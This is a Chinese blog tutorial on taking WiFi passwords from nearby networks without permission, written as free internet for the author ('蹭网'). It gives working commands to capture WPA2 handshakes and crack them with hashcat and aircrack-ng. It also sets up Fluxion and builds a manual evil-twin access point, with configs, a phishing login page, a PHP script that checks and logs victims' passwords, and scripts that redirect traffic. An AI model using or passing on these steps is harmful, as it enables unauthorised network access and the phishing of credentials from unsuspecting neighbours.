使用kali实现不那么优雅的WiFi密码获取

  • Published2026-01-04 17:23:25

前言相信不少朋友都遇到过旁边全是Wifi节点,但就是一个都用不了的痛苦。今天我就来分享一些不那么优雅的蹭网方式。

WiFi万能钥匙

大道至简,虽说这并不是所谓的密码破解,但在一个陌生环境下蹭网仍是一个不错的选择。毕竟你也不能确定会不会已经有人把密码分享出去了。如果有的话,这种方法可以说是最简单,最高效的方法了。如果没有的话,请继续往下看。

我此分享一个从网络中找到的别人分享的万能钥匙的改版,相对清爽一些。WiFi万能钥匙下载链接

抓握手包跑字典

开局直接获取su权限,免得下面操作频繁输入sudo。kali的默认账户和密码都是kali。

1sudo su

查看可用的监听网卡

1airmon-ng

开启监听,wlan0就是之前查看的监听网卡

1234airmon-ng start wlan0// 开始监听airodump-ng wlan0mon

找到需要监听的wifi后记录信息,然后键入ctrl c停止扫描

12BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID FE:92:C4:5E:5E:C3 -47 3 2 0 4 180 WPA2 CCMP PSK _test

根据上面的信息进行握手包抓取,并将抓取的我手包存储指定目录。

1airodump-ng -c 4 --bssid FE:92:C4:5E:5E:C3 -w /home/kali/Desktop/test/NewFolder/_test wlan0mon

等待有人连接wifi后,显示MAC地址就可以停止抓包了。在对应目录会出现对应文件。

停止抓包

1airmon-ng stop wlan0mon

进入这个网址https://hashcat.net/cap2hashcat/index.pl将.cap文件转化为.hc22000文件后就可以选择使用hashcat进行暴力破解了。

12345// 字典暴力破解hashcat -m 22000 xxx.hc22000 pwd.txt// 掩码暴力破解hashcat -a 3 -m 22000 xxx.hc22000 ?d?d?d?d?d?d?d?d

当然也可以不转换,直接使用aircrack-ng

1aircrack-ng handshake.cap -w pwd.txt

使用Fluxion伪造AP

这个网上教程很多,而且引导页面也可以设置中文,就不过多描述了。

需要注意的是使用前执行fluxion -i进行依赖补全,如果无法补全就直接自己执行apt

其中pyrit因为年久失修,已经不在官方的仓库里面了,需要自己弄。但还是需要注意,因为这位作者编写的是bash脚本,而kali默认为zsh,如果直接执行脚本会出现报错。正确做法是使用bash来执行。123git clone https://github.com/hacker3983/pyrit-installer.gitcd pyrit-installerbash ./install.sh

手动伪造AP

效果和使用fluxion基本一样,甚至会略微差一些,毕竟flxuion的自定义选项更多,而手动弄的话比较吃自己的操作,下限更低。

配置目录以及文件

这次就不要使用su了,因为我们需要本地服务器有权限写入目录。

创建目录并进入目录创建hostapd.conf文件

12mkdir -p /home/kali/Desktop/test/wlan_hack/cd /home/kali/Desktop/test/wlan_hack/

在该目录中放入之前抓取的握手包文件

hostapd.conf

12345678interface=wlan0driver=nl80211ssid=Free_WiFihw_mode=gchannel=6macaddr_acl=0auth_algs=1ignore_broadcast_ssid=0

dnsmasq.conf

12345interface=wlan0dhcp-range=192.168.1.2,192.168.1.100,12hdhcp-option=3,192.168.1.1dhcp-option=6,192.168.1.1address=/#/192.168.1.1

配置钓鱼页面index.html

123456789101112Wi-Fi 登录

连接 Free_WiFi




配置密码验证login.php,请注意修改存储密码的文件和握手包路径为绝对路径

12345678910111213141516&1";$output = shell_exec($cmd);if (strpos($output, "KEY FOUND!") !== false) { file_put_contents("/home/kali/Desktop/test/wlan_hack/valid.txt", "y " . $password . "\n"); echo "

密码验证成功,连接成功!

";} else { file_put_contents("/home/kali/Desktop/test/wlan_hack/invalid.txt", "n " . $password . "\n"); echo "

密码错误,请重新输入。

";}?>

配置启动脚本run.sh

123456789101112131415161718192021222324252627282930313233343536#!/bin/bash# 清理旧配置killall hostapd dnsmasq apache2iptables --fluship link set wlan0 down# 设置静态IPip link set wlan0 upip addr add 192.168.1.1/24 dev wlan0# 启用 IP 转发echo 1 > /proc/sys/net/ipv4/ip_forward# 清空旧规则iptables -Fiptables -t nat -F# NAT 设置iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE# 把所有 HTTP 请求重定向到本地 Web 服务器(Captive Portal)iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80# 启动 hostapdhostapd hostapd.conf &# 启动 dnsmasqdnsmasq -C dnsmasq.conf# 启动 Apache(默认网站目录为 /var/www/html)cp index.html /var/www/html/index.htmlcp login.php /var/www/html/login.phpsystemctl restart apache2echo "[+] 钓鱼 Wi-Fi 启动成功,请连接 Free_WiFi 测试。"

配置停止脚本stop.sh

12345678910111213141516171819#!/bin/bashecho "[*] 正在关闭钓鱼 Wi-Fi 环境..."# 杀掉后台运行的服务killall hostapd 2>/dev/nullkillall dnsmasq 2>/dev/nullkillall apache2 2>/dev/null# 还原网络接口ip addr flush dev wlan0ip link set wlan0 down# 清除 iptables 规则iptables -Fiptables -t nat -Fiptables -Xecho "[+] 停止完成,网络环境已恢复。"

执行

配置php用户为当前用户,以确保有权限写入文件。配置文件为/etc/apache2/envvars

12345678// 将export APACHE_RUN_USER=www-dataexport APACHE_RUN_GROUP=www-data// 修改为export APACHE_RUN_USER=kaliexport APACHE_RUN_GROUP=kali

直接执行run.sh。

小结

最优解肯定是使用fluxion,毕竟人家都封装好了,只是为了解决问题,越简单越好。

按照我手动配置的话,可能会出现一些网址无法成功dns劫持。

当然,钓鱼页面可以自己写,毕竟我写的这个过于简单了。

参考文章

kali Linux安装fluxion中pyrit失败,亲测有效

Kali Linux 使用 Hashcat 高效破解 WiFi 密码【暴力破解篇】